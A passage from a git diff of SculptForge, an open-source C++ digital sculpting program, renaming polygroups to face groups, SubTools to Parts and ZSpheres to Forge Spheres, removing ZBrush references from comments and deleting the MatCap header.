+ maskBorder(doc.mesh, int(argNumber(a, "rings", 1)), facegroups, argBool(a, "soft", false),
float(argNumber(a, "strength", 1.0)), argBool(a, "add", false), &found);
if (found == 0)
- return {true, polygroups ? "No open edges or face group borders: the mesh is closed and one face group"
+ return {true, facegroups ? "No open edges or face group borders: the mesh is closed and one face group"
: "No open edges: the mesh is closed"};
if (!changed) return {true, label + ": mask unchanged"};
doc.undo.push(std::move(record));
diff --git a/src/core/Masking.h b/src/core/Masking.h
index 7fae910f..985ed7f8 100644
--- a/src/core/Masking.h
+++ b/src/core/Masking.h
@@ -1,7 +1,7 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// ZBrush-style masking. Mask strokes are Sculptor::dabMask (see Sculpt.h);
+// classic masking. Mask strokes are Sculptor::dabMask (see Sculpt.h);
// the whole-mesh operations below edit Mesh::mask in place. They never touch
// fully hidden vertices (except clear, which frees the mask), mark the
// changed vertices dirty for the renderer and return false when nothing
@@ -40,21 +40,21 @@ float vertexConcavity(const Mesh& mesh, uint32_t v);
// Masks concave areas: vertices whose concavity exceeds `threshold` get up to
// `strength` (0-1), with a soft ramp above the threshold. Replaces the mask.
bool maskByCavity(Mesh& mesh, float strength, float threshold);
-// Masks every vertex touching a visible triangle of polygroup `group`.
+// Masks every vertex touching a visible triangle of face group `group`.
// With `add` the existing mask is kept, otherwise it is replaced.
-bool maskByPolygroup(Mesh& mesh, uint32_t group, bool add);
+bool maskByFaceGroup(Mesh& mesh, uint32_t group, bool add);
-// Vertices on an open edge (an edge of only one triangle) and, with `polygroups`, where the visible triangles
-// around a vertex have more than one polygroup: 1 for those, 0 elsewhere.
-std::vector<uint8_t> borderVertices(const Mesh& mesh, bool polygroups);
-// Mask from the mesh border (#61; Blender: Mask from mesh boundary, ZBrush: Mask by polygroup border): the
+// Vertices on an open edge (an edge of only one triangle) and, with `face groups`, where the visible triangles
+// around a vertex have more than one face group: 1 for those, 0 elsewhere.
+std::vector<uint8_t> borderVertices(const Mesh& mesh, bool facegroups);
+// Mask from the mesh border (#61; Blender: Mask from mesh boundary, Mask by face group border): the
// border vertices and `rings - 1` edge rings inside them (rings 1-20) get `strength` (0-1) of mask, fading
-// towards the innermost ring with `soft`. `polygroups` also masks polygroup borders. With `add` the mask
+// towards the innermost ring with `soft`. `face groups` also masks face group borders. With `add` the mask
// grows (each vertex keeps the larger value), otherwise it is replaced. `found` gets the number of border
// vertices: 0 on a closed mesh (nothing to mask).
-bool maskBorder(Mesh& mesh, int rings, bool polygroups, bool soft, float strength, bool add, size_t* found = nullptr);
+bool maskBorder(Mesh& mesh, int rings, bool facegroups, bool soft, float strength, bool add, size_t* found = nullptr);
-// Mask selections (ZBrush MaskLasso / MaskRect): visible vertices that
+// Mask selections (MaskLasso / MaskRect): visible vertices that
// project inside `shape` (NDC under `viewProj`, see ScreenSelect.h) gain
// `strength` (0-1) of mask, or lose it with `unmask`. Vertices behind the
// camera count as outside; the far side of the model is selected too.
@@ -65,7 +65,7 @@ bool maskInShape(Mesh& mesh, const glm::mat4& viewProj, const ScreenPolygon& sha
const std::vector<SymCopy>& mirrors = {}, bool frontFacesOnly = false);
// Whether any visible vertex (or, with `mirrors`, its mirror image) projects
// inside `shape`: a selection that covers none of the model clears the mask
-// instead (ZBrush: Ctrl+drag on the background).
+// instead (Ctrl+drag on the background).
bool shapeCoversMesh(const Mesh& mesh, const glm::mat4& viewProj, const ScreenPolygon& shape,
const std::vector<SymCopy>& mirrors = {});
@@ -79,7 +79,7 @@ bool symmetryCopiesArg(const Args& a, const Mesh& mesh, std::vector<SymCopy>& co
std::vector<ParamSpec> radialSymmetryParams();
// Registers mask_clear, mask_all, mask_invert, mask_blur, mask_sharpen,
-// mask_grow, mask_shrink, mask_by_cavity, mask_by_polygroup, mask_border,
+// mask_grow, mask_shrink, mask_by_cavity, mask_by_face group, mask_border,
// mask_rect and mask_lasso.
void registerMaskingCommands(CommandRegistry& registry);
diff --git a/src/core/Matcap.h b/src/core/Matcap.h
deleted file mode 100644
index ee232225..00000000
--- a/src/core/Matcap.h
+++ /dev/null
@@ -1,86 +0,0 @@
-// SculptForge - open source digital sculpting
-// SPDX-License-Identifier: GPL-3.0-or-later
-//
-// Built-in MatCap ("material capture") materials. Each is a lit-sphere image
-// generated procedurally here (no third-party images): the viewport looks up
-// the colour by the view-space normal, so a whole material costs one texture
-// fetch. Polypaint multiplies the matcap; cavity shading is applied on top.
-#pragma once
-
-#include <cstdint>
-#include <string>
-#include <vector>
-
-namespace sf {
-
-int matcapCount();
-const char* matcapName(int index);
-// Case-insensitive; also accepts names without spaces ("redwax"). -1 if unknown.
-int findMatcap(const std::string& name);
-// The material new documents (and thumbnails) start with: Soft Clay, a matte warm clay.
-int defaultMatcap();
-// The order the pickers list the MatCaps in: k = 0 is the default, then the others in index order.
-int matcapInListOrder(int k);
-
-// How strongly the viewport darkens creases and lifts ridges on top of this matcap (the
-// curvature term in the mesh shader); the Sculpt material leans on it more than the others.
-struct MatcapCavity {
- float crease = 0.55f, ridge = 0.2f;
-};
-MatcapCavity matcapCavity(int index);
-
-// `size` x `size` RGBA8 pixels, sRGB-encoded, rows bottom-up (OpenGL order):
-// pixel (i, j) shows the sphere normal x = (i + 0.5) / size * 2 - 1,
-// y = (j + 0.5) / size * 2 - 1. Pixels outside the disk repeat the rim.
-// For a custom MatCap: its own pixels, resampled to `size`.
-std::vector<uint8_t> generateMatcap(int index, int size = 256);
-
-// --- Custom MatCaps (#15) ---
-// Sphere images the artist loads (Material > Load MatCap...) or drops into the library's MatCaps folder. They come
-// after the built-ins in index order (matcapCount() includes them), for the session; the registry is process-wide
-// and only touched from one thread (the app's main thread, or a CLI / test).
-struct CustomMatcap {
- std::string name; // the file name without its extension
- std::string path; // the image it was read from (empty: embedded in a project)
- int size = 0; // size x size pixels
- std::vector<uint8_t> rgba; // sRGB RGBA8, rows bottom-up, as generateMatcap
- uint64_t hash = 0; // of the pixels (thumbnail keys, finding a project's MatCap again)
- bool removed = false; // removeCustomMatcap: kept so indices stay put, but listed and found no more
-};
-constexpr int kMaxMatcapSide = 1024; // bigger images are scaled down
-
-int builtinMatcapCount();
-bool isCustomMatcap(int index); // also true for a removed one (its index stays taken)
-// Shown in the material lists: a built-in, or a custom MatCap that wasn't removed.
-bool isMatcapListed(int index);
-const CustomMatcap* customMatcap(int index); // null for built-ins and bad indices
-// Changes whenever a custom MatCap is added or its pixels replaced (renderers upload again).
-uint64_t matcapRevision();
-// Name plus, for custom MatCaps, the pixel hash: a cache key that changes with the image.
-std::string matcapKey(int index);
-
-// .png .jpg .jpeg .exr (also .bmp .tga .hdr, which stb_image reads).
-bool isMatcapFile(const std::string& path);
-// Reads a sphere image: 8-bit formats through stb_image, OpenEXR as linear light (clamped, then sRGB). A non-square
-// image is cropped to its centred square; the name is the file name without its extension.
-bool readMatcapImage(const std::string& path, CustomMatcap& out, std::string& error);
-bool decodeMatcapImage(const unsigned char* bytes, size_t size, CustomMatcap& out, std::string& error);
-// PNG of the MatCap's pixels (top row first), e.g. to embed it in a project; false for built-ins.
-bool encodeMatcapPng(int index, std::vector<uint8_t>& png);
-// Adds `m`, or replaces the pixels of the custom MatCap of the same name (case-insensitive; a removed one comes
-// back at its old index); a built-in's name gets " 2" (" 3" ...). Returns its index.
-int addCustomMatcap(CustomMatcap m);
-// Takes a custom MatCap out of the lists and name lookups for the rest of the session (its file is the caller's
-// business). False for built-ins and bad indices.
-bool removeCustomMatcap(int index);
-// The listed custom MatCap read from `path` (exact path), or -1.
-int findMatcapByPath(const std::string& path);
-// The index of a custom MatCap with exactly these pixels, or -1.
-int findMatcapByHash(uint64_t hash);
-// Every MatCap image directly in each folder (sorted by name; later folders replace earlier ones by name).
-// Returns a message per file that couldn't be read.
-std::vector<std::string> loadMatcapFolders(const std::vector<std::string>& dirs);
-// Studio MatCap folders from SCULPTFORGE_MATCAP_PATH (':' separated, ';' on Windows), read-only.
-std::vector<std::string> studioMatcapDirs();
-
-} // namespace sf
diff --git a/src/core/Mesh.cpp b/src/core/Mesh.cpp
index d8934f2e..94355746 100644
--- a/src/core/Mesh.cpp
+++ b/src/core/Mesh.cpp
@@ -87,9 +87,9 @@ std::vector<glm::vec3>& Mesh::ensureColors(const glm::vec3& fill) {
return colors;
}
-std::vector<uint32_t>& Mesh::ensurePolygroups(uint32_t fill) {
- if (polygroups.size() != triangles.size()) polygroups.assign(triangles.size(), fill);
- return polygroups;
+std::vector<uint32_t>& Mesh::ensureFaceGroups(uint32_t fill) {
+ if (facegroups.size() != triangles.size()) facegroups.assign(triangles.size(), fill);
+ return facegroups;
}
std::vector<uint8_t>& Mesh::ensureHidden() {
@@ -152,7 +152,7 @@ size_t Mesh::quadCount() const {
void Mesh::sanitizeAttributes() {
if (!mask.empty() && mask.size() != positions.size()) clearMask();
if (!colors.empty() && colors.size() != positions.size()) clearColors();
- if (!polygroups.empty() && polygroups.size() != triangles.size()) clearPolygroups();
+ if (!facegroups.empty() && facegroups.size() != triangles.size()) clearFaceGroups();
if (!hidden.empty() && hidden.size() != triangles.size()) clearHidden();
if (!uvs.empty() && uvs.size() != triangles.size() * 3) std::vector<glm::vec2>().swap(uvs);
if (!uvFlags.empty() && uvFlags.size() != triangles.size() * 3) std::vector<uint8_t>().swap(uvFlags);
@@ -821,7 +821,7 @@ AABB Mesh::bounds() const {
size_t Mesh::memoryBytes() const {
auto bytes = [](const auto& v) { return v.capacity() * sizeof(v[0]); };
- size_t n = bytes(positions) + bytes(normals) + bytes(triangles) + bytes(mask) + bytes(colors) + bytes(polygroups) +
+ size_t n = bytes(positions) + bytes(normals) + bytes(triangles) + bytes(mask) + bytes(colors) + bytes(facegroups) +
bytes(hidden) + bytes(uvs) + bytes(uvFlags) + bytes(quadPartners) + bytes(base) + bytes(paintBase) + bytes(adjOffsets_) +
bytes(adjList_) + bytes(vtOffsets_) + bytes(vtList_) + bytes(adjEnds_) + bytes(adjCaps_) + bytes(vtEnds_) + bytes(vtCaps_) + normalBits_.memoryBytes() + bytes(scratchVerts_) + bytes(dirtyBlocks) + bytes(dirtyBits);
for (const auto& l : layers) n += bytes(l.delta);
@@ -889,7 +889,7 @@ Mesh weldImported(const Mesh& m, const std::vector<SculptLayer>& layers) {
if (vColors) welded.colors.push_back(m.colors[v]);
}
const size_t nt = m.triangles.size();
- const bool tGroups = m.polygroups.size() == nt, tHidden = m.hidden.size() == nt, tUvs = m.uvs.size() == nt * 3;
+ const bool tGroups = m.facegroups.size() == nt, tHidden = m.hidden.size() == nt, tUvs = m.uvs.size() == nt * 3;
std::vector<uint32_t> newTriangle(m.hasQuads() ? nt : 0, Mesh::kNoQuad);
for (size_t ti = 0; ti < nt; ++ti) {
const auto& t = m.triangles[ti];
@@ -897,7 +897,7 @@ Mesh weldImported(const Mesh& m, const std::vector<SculptLayer>& layers) {
if (nt3.x == nt3.y || nt3.y == nt3.z || nt3.x == nt3.z) continue;
if (!newTriangle.empty()) newTriangle[ti] = uint32_t(welded.triangles.size());
welded.triangles.push_back(nt3);
- if (tGroups) welded.polygroups.push_back(m.polygroups[ti]);
+ if (tGroups) welded.facegroups.push_back(m.facegroups[ti]);
if (tHidden) welded.hidden.push_back(m.hidden[ti]);
if (tUvs) welded.uvs.insert(welded.uvs.end(), m.uvs.begin() + std::ptrdiff_t(ti * 3), m.uvs.begin() + std::ptrdiff_t(ti * 3 + 3));
}
diff --git a/src/core/Mesh.h b/src/core/Mesh.h
index af21c444..acf066e0 100644
--- a/src/core/Mesh.h
+++ b/src/core/Mesh.h
@@ -80,9 +80,9 @@ struct SculptLayer {
// a feature needs them, so plain meshes pay nothing. When present their size
// always matches the vertex / triangle / corner count; rebuildTopology()
// drops any that don't.
-// One sphere of a ZSphere armature (core/ZSpheres.h): the root is index 0 with parent -1; every other sphere
+// One sphere of a Forge Sphere armature (core/Forge Spheres.h): the root is index 0 with parent -1; every other sphere
// grows from `parent`.
-struct ZSphere {
+struct ForgeSphere {
glm::vec3 center{0.0f};
float radius = 1.0f;
int parent = -1;
@@ -94,11 +94,11 @@ public:
std::vector<glm::vec3> normals;
std::vector<glm::uvec3> triangles;
- // Per vertex: mask (0 = free, 1 = fully masked) and polypaint (linear RGB, 0..1).
+ // Per vertex: mask (0 = free, 1 = fully masked) and vertex paint (linear RGB, 0..1).
std::vector<float> mask;
std::vector<glm::vec3> colors;
- // Per triangle: polygroup id (empty = everything in group 0) and hidden flag (empty = all visible).
- std::vector<uint32_t> polygroups;
+ // Per triangle: face group id (empty = everything in group 0) and hidden flag (empty = all visible).
+ std::vector<uint32_t> facegroups;
std::vector<uint8_t> hidden;
// Per triangle corner (3 per triangle, in triangle order): texture coordinates.
std::vector<glm::vec2> uvs;
@@ -114,7 +114,7 @@ public:
bool hasMask() const { return !mask.empty(); }
bool hasColors() const { return !colors.empty(); }
- bool hasPolygroups() const { return !polygroups.empty(); }
+ bool hasFaceGroups() const { return !facegroups.empty(); }
bool hasHidden() const { return !hidden.empty(); }
bool hasUvs() const { return !uvs.empty(); }
bool hasUvFlags() const { return !uvFlags.empty(); }
@@ -124,14 +124,14 @@ public:
glm::vec3 colorAt(uint32_t v, const glm::vec3& fallback = glm::vec3(1.0f)) const {
return colors.empty() ? fallback : colors[v];
}
- uint32_t polygroupAt(uint32_t t) const { return polygroups.empty() ? 0u : polygroups[t]; }
+ uint32_t facegroupAt(uint32_t t) const { return facegroups.empty() ? 0u : facegroups[t]; }
bool triangleHidden(uint32_t t) const { return !hidden.empty() && hidden[t] != 0; }
// The triangle `t` is shown and exported as one quad with, or kNoQuad: a stored pair whose halves share a
- // polygroup (a pair split between groups shows and exports as two triangles).
+ // face group (a pair split between groups shows and exports as two triangles).
uint32_t quadPartnerAt(uint32_t t) const {
if (quadPartners.empty()) return kNoQuad;
const uint32_t u = quadPartners[t];
- return u < quadPartners.size() && polygroupAt(t) == polygroupAt(u) ? u : kNoQuad;
+ return u < quadPartners.size() && facegroupAt(t) == facegroupAt(u) ? u : kNoQuad;
}
// Which edge of `t` (t[e] -> t[(e + 1) % 3]) is the diagonal it shares with triangle `u` (wound the other
// way in `u`, whose third corner is not on `t`), or -1 when they don't form a quad.
@@ -148,7 +148,7 @@ public:
// Allocate an attribute (no-op if present); returns it for convenience.
std::vector<float>& ensureMask(float fill = 0.0f);
std::vector<glm::vec3>& ensureColors(const glm::vec3& fill = glm::vec3(1.0f));
- std::vector<uint32_t>& ensurePolygroups(uint32_t fill = 0);
+ std::vector<uint32_t>& ensureFaceGroups(uint32_t fill = 0);
std::vector<uint8_t>& ensureHidden();
std::vector<uint32_t>& ensureQuadPartners();
// Records triangles `t` and `u` as one quad (growing quadPartners to the triangle count, so it can be called
@@ -157,7 +157,7 @@ public:
// Free an attribute again once it holds only its default (e.g. after "clear mask" / "show all").
void clearMask() { std::vector<float>().swap(mask); }
void clearColors() { std::vector<glm::vec3>().swap(colors); }
- void clearPolygroups() { std::vector<uint32_t>().swap(polygroups); }
+ void clearFaceGroups() { std::vector<uint32_t>().swap(facegroups); }
void clearHidden() { std::vector<uint8_t>().swap(hidden); }
void clearQuads() { std::vector<uint32_t>().swap(quadPartners); }
// Drops attributes whose size no longer matches the mesh and unpairs invalid quad pairs (called by
@@ -183,7 +183,7 @@ public:
// Paint layers (core/PaintLayer.h). While any exist, `paintBase` holds the
// Base layer and `colors` the composited stack; `activePaintLayer` is the
- // layer painting writes into (-1 = Base). Empty = plain polypaint in `colors`.
+ // layer painting writes into (-1 = Base). Empty = plain vertex paint in `colors`.
std::vector<glm::vec3> paintBase;
std::vector<PaintLayer> paintLayers;
int activePaintLayer = -1;
@@ -204,12 +204,12 @@ public:
// triangle or vertex count changes.
std::shared_ptr<MicroMesh> micro;
- // ZSpheres (core/ZSpheres.h): not empty = a ZSphere SubTool, whose triangles are made from this armature (the
- // spheres and their links, or the skin while `zspherePreview`). Copies, undo steps and projects carry it.
- std::vector<ZSphere> zspheres;
- bool zspherePreview = false;
+ // Forge Spheres (core/Forge Spheres.h): not empty = a Forge Sphere Part, whose triangles are made from this armature (the
+ // spheres and their links, or the skin while `Forge SpherePreview`). Copies, undo steps and projects carry it.
+ std::vector<ForgeSphere> forgespheres;
+ bool forgespherePreview = false;
- // Selection Sets (core/SelectionSets.h): named snapshots of the mask, polygroups, vertex paint, hidden faces, UVs
+ // Selection Sets (core/SelectionSets.h): named snapshots of the mask, face groups, vertex paint, hidden faces, UVs
// and shape, immutable and shared by copies of the mesh (undo steps swap the whole list). They belong to the
// Part, not to one subdivision level: stepping levels keeps them. Null = none.
std::shared_ptr<const SelectionSetList> selectionSets;
@@ -280,7 +280,7 @@ public:
// GPU synchronisation state: [dirtyBegin, dirtyEnd) bounds what needs re-uploading,
// topologyDirty means everything (including indices) does.
// Vertex attributes (mask, colours) share the vertex range; facesDirty
- // means per-triangle state (hidden, polygroups) needs re-uploading.
+ // means per-triangle state (hidden, face groups) needs re-uploading.
// Within the range each changed vertex has a bit in dirtyBits, and each block of kDirtyBlock vertices with
// any a mark in dirtyBlocks, so uploads find a dab's vertices without scanning the mesh (core/UploadOrder.h).
uint32_t dirtyBegin = std::numeric_limits<uint32_t>::max();
diff --git a/src/core/MeshMaps.cpp b/src/core/MeshMaps.cpp
index 7e8c1ded..cf24c94f 100644
--- a/src/core/MeshMaps.cpp
+++ b/src/core/MeshMaps.cpp
@@ -168,7 +168,7 @@ struct Baker {
if (out[size_t(MeshMapKind::WorldNormal)])
for (int c = 0; c < 3; ++c) put8(MeshMapKind::WorldNormal, c, nrm[c] * 0.5f + 0.5f);
if (out[size_t(MeshMapKind::Id)]) {
- const glm::vec3 col = idMapColor(mesh.polygroupAt(t) * 2654435761u + 1u);
+ const glm::vec3 col = idMapColor(mesh.facegroupAt(t) * 2654435761u + 1u);
for (int c = 0; c < 3; ++c) put8(MeshMapKind::Id, c, col[c]);
}
}
@@ -218,7 +218,7 @@ bool parseMeshMap(const std::string& text, MeshMapKind& out) {
if (!std::isspace(static_cast<unsigned char>(c))) s += char(std::tolower(static_cast<unsigned char>(c)));
if (s == "occlusion" || s == "ambient_occlusion") s = "ao";
if (s == "normal" || s == "worldnormal" || s == "object_normal") s = "world_normal";
- if (s == "polygroups" || s == "polygroup") s = "id";
+ if (s == "facegroups" || s == "facegroup") s = "id";
for (int i = 0; i < kMeshMapCount; ++i)
if (s == meshMapId(MeshMapKind(i))) {
out = MeshMapKind(i);
@@ -494,7 +494,7 @@ bool prepareMeshMapUpdate(const Mesh& mesh, const std::shared_ptr<const MeshMapS
localTri[t] = uint32_t(L.triangles.size());
L.triangles.push_back(lt);
for (int c = 0; c < 3; ++c) L.uvs.push_back(mesh.uvs[size_t(t) * 3 + size_t(c)]);
- if (mesh.hasPolygroups()) L.polygroups.push_back(mesh.polygroups[t]);
+ if (mesh.hasFaceGroups()) L.facegroups.push_back(mesh.facegroups[t]);
}
// The tiles the baked triangles reach, and their texel maps in local triangles (others keep their values).
const int tilesX = (set->width + kTextureTile - 1) / kTextureTile;
@@ -604,7 +604,7 @@ void registerMeshMapCommands(CommandRegistry& reg) {
using T = ParamSpec::Type;
reg.add({"mesh_maps",
"Mesh Maps of the active Part, on its texture's UVs at the texture's size, for Fill layers: ambient "
- "occlusion, curvature, thickness, position, world normal and ID (polygroups). bake makes them, info " // marks-pending
+ "occlusion, curvature, thickness, position, world normal and ID (facegroups). bake makes them, info "
"describes them, clear drops them, live=true re-bakes the changed tiles after sculpting (in the app). "
"Derived data: not saved, not an undo step.",
{{"action", T::String, "bake (default), info, clear, or live (with live=true/false).", false},
diff --git a/src/core/MeshMaps.h b/src/core/MeshMaps.h
index 05019ec9..26e79be2 100644
--- a/src/core/MeshMaps.h
+++ b/src/core/MeshMaps.h
@@ -3,7 +3,7 @@
//
// Mesh Maps: texture-space maps of a Part's own surface, baked on its UVs at the texture's size and kept with its
// texture (PaintTexture::meshMaps), for Fill layers to read (core/LayerStack.h): ambient occlusion, curvature,
-// thickness, position, world normal and ID (polygroups). Files for other programs come from the bake command
+// thickness, position, world normal and ID (face groups). Files for other programs come from the bake command
// (core/Bake.h), which also bakes from other Parts, subdivision levels and micro levels, and to UDIM tiles.
//
// Maps are TileImages (64 x 64 tiles, the texture's tiles) and are baked tile by tile on every core:
@@ -14,7 +14,7 @@
// - curvature: the mean curvature of the surface (meshMeanCurvature) times curvatureRadius: 0.5 is flat, brighter
// is convex (edges, ridges), darker concave (creases);
// - position: the point in the Part's bounding box (16-bit RGB); world normal: the smooth normal (RGB);
-// - ID: a flat colour per polygroup.
+// - ID: a flat colour per face group.
//
// Live updates (the app, App::updateMeshMaps): the set remembers the positions it was baked from. When the Part is
// sculpted, the changed region is found by comparing them (changedRegion), and only the tiles whose texels lie
@@ -90,7 +90,7 @@ struct MeshMapSet {
// Per-vertex mean curvature in 1 / length (> 0 convex): 2 (p - mean of the one-ring) . n over the ring's mean squared
// edge length, so a sphere of radius R gives 1 / R at any density; smoothed once over the ring.
std::vector<float> meshMeanCurvature(const Mesh& mesh);
-// The ID map's colour for a key (a polygroup, a Part): bright, well spread hues (sRGB 0..1).
+// The ID map's colour for a key (a face group, a Part): bright, well spread hues (sRGB 0..1).
glm::vec3 idMapColor(uint32_t key);
// Bakes `kinds` of `mesh` (its UVs) at width x height into `out` (every tile). False + error when the mesh has no
@@ -107,7 +107,7 @@ AABB changedRegion(const MeshMapSet& set, const Mesh& mesh, std::vector<uint32_t
struct MeshMapUpdate {
std::vector<uint32_t> tiles; // tiles to bake again
std::vector<TexelTile> texels; // per tile: texel -> local triangle (kNoTexelTriangle: keep the old value)
- Mesh local; // the triangles near the change (positions, normals, UVs, polygroups)
+ Mesh local; // the triangles near the change (positions, normals, UVs, face groups)
std::vector<uint32_t> movedVertices; // mesh vertices that moved, and where they are now
std::vector<glm::vec3> movedPositions;
std::shared_ptr<const MeshMapSet> base; // the set it updates
diff --git a/src/core/MeshTransform.cpp b/src/core/MeshTransform.cpp
index 0b93c7b8..ba7f6ef2 100644
--- a/src/core/MeshTransform.cpp
+++ b/src/core/MeshTransform.cpp
@@ -320,11 +320,11 @@ void TransformSession::cancel(Mesh& mesh, BVH& bvh) {
*this = TransformSession();
}
-size_t transformSubtool(Document& doc, int index, const MeshTransform& t, bool useMask, float falloff, Symmetry mirror,
+size_t transformPart(Document& doc, int index, const MeshTransform& t, bool useMask, float falloff, Symmetry mirror,
const std::string& label) {
- if (index < 0 || index >= doc.subtoolCount()) return 0;
- const bool active = index == doc.activeSubtool;
- SubTool& info = doc.subtools[size_t(index)];
+ if (index < 0 || index >= doc.partCount()) return 0;
+ const bool active = index == doc.activePart;
+ Part& info = doc.parts[size_t(index)];
Mesh& mesh = active ? doc.mesh : info.mesh;
BVH& bvh = active ? doc.bvh : info.bvh;
UndoStack& undo = active ? doc.undo : info.undo;
diff --git a/src/core/MeshTransform.h b/src/core/MeshTransform.h
index f4600f3b..270d8774 100644
--- a/src/core/MeshTransform.h
+++ b/src/core/MeshTransform.h
@@ -1,7 +1,7 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// Moving, rotating and scaling a SubTool, or only its unmasked part (ZBrush Gizmo 3D / Transpose): the core
+// Moving, rotating and scaling a Part, or only its unmasked part (Gizmo 3D / Transpose): the core
// of the app's Gizmo mode (W Move, E Scale, R Rotate) and of the `transform` command.
//
// A transform is a translation, a rotation and a per-axis scale about a pivot, with the rotation and scale
@@ -13,7 +13,7 @@
//
// Sculpt layers move with the surface: the base takes the whole transform and every layer's offsets the
// linear part, so positions == base + sum(weight * offset) still holds and the layers keep working.
-// Topology, UVs, quads, polygroups, polypaint and textures are left as they are.
+// Topology, UVs, quads, face groups, vertex paint and textures are left as they are.
#pragma once
#include "core/BVH.h"
@@ -106,9 +106,9 @@ public:
static constexpr int kLevels = 4096;
};
-// Transforms SubTool `index` of `doc` (active or not) as one undoable step on that SubTool. Returns the number
+// Transforms Part `index` of `doc` (active or not) as one undoable step on that Part. Returns the number
// of vertices that moved.
-size_t transformSubtool(Document& doc, int index, const MeshTransform& t, bool useMask, float falloff, Symmetry mirror,
+size_t transformPart(Document& doc, int index, const MeshTransform& t, bool useMask, float falloff, Symmetry mirror,
const std::string& label);
// transform (translate, rotate, scale, pivot, orient, masked, falloff, symmetry, all).
diff --git a/src/core/Micro.cpp b/src/core/Micro.cpp
index 5fc30a5d..6fa8166f 100644
--- a/src/core/Micro.cpp
+++ b/src/core/Micro.cpp
@@ -323,7 +323,7 @@ bool microDivide(Mesh& m, int level, std::string& error, int outOfCore) {
error = "Go to the highest subdivision level first: the micro level goes on top of it";
return false;
}
- if (!m.zspheres.empty()) {
+ if (!m.forgespheres.empty()) {
error = "Forge Sphere Parts can't have a micro level (make an adaptive skin first)";
return false;
}
@@ -985,9 +985,9 @@ bool microBakeMesh(const Mesh& m, int level, Mesh& out, std::string& error, size
out = Mesh();
out.positions.resize(verts);
out.triangles.resize(tris);
- const bool uvs = m.hasUvs(), groups = m.hasPolygroups(), hidden = m.hasHidden(), masked = mm.hasMask();
+ const bool uvs = m.hasUvs(), groups = m.hasFaceGroups(), hidden = m.hasHidden(), masked = mm.hasMask();
if (uvs) out.uvs.resize(tris * 3);
- if (groups) out.polygroups.resize(tris);
+ if (groups) out.facegroups.resize(tris);
if (hidden) out.hidden.resize(tris);
if (masked) out.mask.assign(verts, 0.0f);
// The vertex of grid point (a, b) (bake level) of triangle t.
@@ -1054,7 +1054,7 @@ bool microBakeMesh(const Mesh& m, int level, Mesh& out, std::string& error, size
}
}
for (size_t k = first; k < o; ++k) {
- if (groups) out.polygroups[k] = m.polygroups[t];
+ if (groups) out.facegroups[k] = m.facegroups[t];
if (hidden) out.hidden[k] = m.hidden[t];
}
}
diff --git a/src/core/Micro.h b/src/core/Micro.h
index a126ab5b..ad764423 100644
--- a/src/core/Micro.h
+++ b/src/core/Micro.h
@@ -3,7 +3,7 @@
//
// Micro-displacement levels: hundreds of millions of sculptable triangles without a mesh that size.
//
-// Above the top subdivision level a SubTool can carry a micro level (Mesh::micro). The surface is then
+// Above the top subdivision level a Part can carry a micro level (Mesh::micro). The surface is then
//
// micro point = S(t, i, j) + d(t, i, j) * N(t, i, j)
//
@@ -114,7 +114,7 @@ struct MicroMesh {
};
// --- The two-tier engine's vocabulary ---
-// BaseCage: the coarse surface the brushes for big forms (Move, transforms) deform: the SubTool's mesh, its highest
+// BaseCage: the coarse surface the brushes for big forms (Move, transforms) deform: the Part's mesh, its highest
// subdivision level. Its polygons are triangles (a quad of the cage is a triangle pair, one patch each).
using BaseCage = Mesh;
// MicroPatch: one base triangle's regular grid of scalar heights (n + 1)(n + 2) / 2, implicit topology (no index
@@ -193,7 +193,7 @@ void microDelete(Mesh& m);
// (`mask` that many or none). Works out the derived data (ranges, bulge, edge neighbours).
bool microAttach(Mesh& m, int level, float step, MicroStore disp, std::vector<uint8_t> mask, std::string& error);
// A regular mesh of the micro surface at micro level `level` (<= the micro level): shared points welded, the base
-// triangles' UVs, polygroups and hidden flags carried to their micro triangles, mask from the micro mask. Fails
+// triangles' UVs, face groups and hidden flags carried to their micro triangles, mask from the micro mask. Fails
// when it would exceed `maxTriangles` (0 = what subdivision Divide allows on this computer).
bool microBakeMesh(const Mesh& m, int level, Mesh& out, std::string& error, size_t maxTriangles = 0);
// Displacement maps over the base UVs (needs UVs): `vector` = object-space offset of the micro surface from the
@@ -238,7 +238,7 @@ private:
// --- Brushes (driven by Sculptor, which calls these when the mesh has a micro level) ---
-// Whether a brush works on micro levels: 2 = as on a mesh, 1 = approximated (Pinch, Crease and Dam Standard
+// Whether a brush works on micro levels: 2 = as on a mesh, 1 = approximated (Pinch, Crease and Sharp Crease
// sharpen instead of pulling sideways; Move moves along the normal), 0 = not at all.
int microBrushSupport(BrushType type);
diff --git a/src/core/MicroCommands.cpp b/src/core/MicroCommands.cpp
index 64d443ab..c484cc19 100644
--- a/src/core/MicroCommands.cpp
+++ b/src/core/MicroCommands.cpp
@@ -138,8 +138,8 @@ void registerMicroCommands(CommandRegistry& reg) {
doc.replaceMeshUndoable(std::move(baked), "Bake micro");
return {true, "Baked the micro level into this Part: " + tris + " triangles"};
}
- const std::string name = doc.uniqueSubtoolName(doc.activeSubtoolInfo().name + " baked");
- doc.addSubtool(std::move(baked), name, false, doc.activeSubtool + 1);
+ const std::string name = doc.uniquePartName(doc.activePartInfo().name + " baked");
+ doc.addPart(std::move(baked), name, false, doc.activePart + 1);
return {true, "Baked the micro level into Part \"" + name + "\": " + tris + " triangles"};
}});
diff --git a/src/core/MicroSculpt.cpp b/src/core/MicroSculpt.cpp
index ab60b83d..09a980cc 100644
--- a/src/core/MicroSculpt.cpp
+++ b/src/core/MicroSculpt.cpp
@@ -28,7 +28,7 @@ int microBrushSupport(BrushType type) {
switch (type) {
case BrushType::Standard:
case BrushType::Clay:
- case BrushType::ClayBuildup:
+ case BrushType::ClayBlock:
case BrushType::Smooth:
case BrushType::Inflate:
case BrushType::Flatten:
@@ -36,7 +36,7 @@ int microBrushSupport(BrushType type) {
case BrushType::Layer: return 2;
case BrushType::Pinch:
case BrushType::Crease:
- case BrushType::DamStandard:
+ case BrushType::SharpCrease:
case BrushType::Move: return 1;
default: return 0;
}
@@ -277,9 +277,9 @@ void MicroStroke::dab(Mesh& m, const BVH& bvh, BrushType type, const glm::vec3&
const float r = radius, r2 = r * r;
const float s = std::clamp(strength, 0.0f, 1.0f);
const float sign = invert ? -1.0f : 1.0f;
- // An alpha reaches its square's corners, the square ClayBuildup tip a little past the circle (as Sculpt.cpp).
+ // An alpha reaches its square's corners, the square Clay Block tip a little past the circle (as Sculpt.cpp).
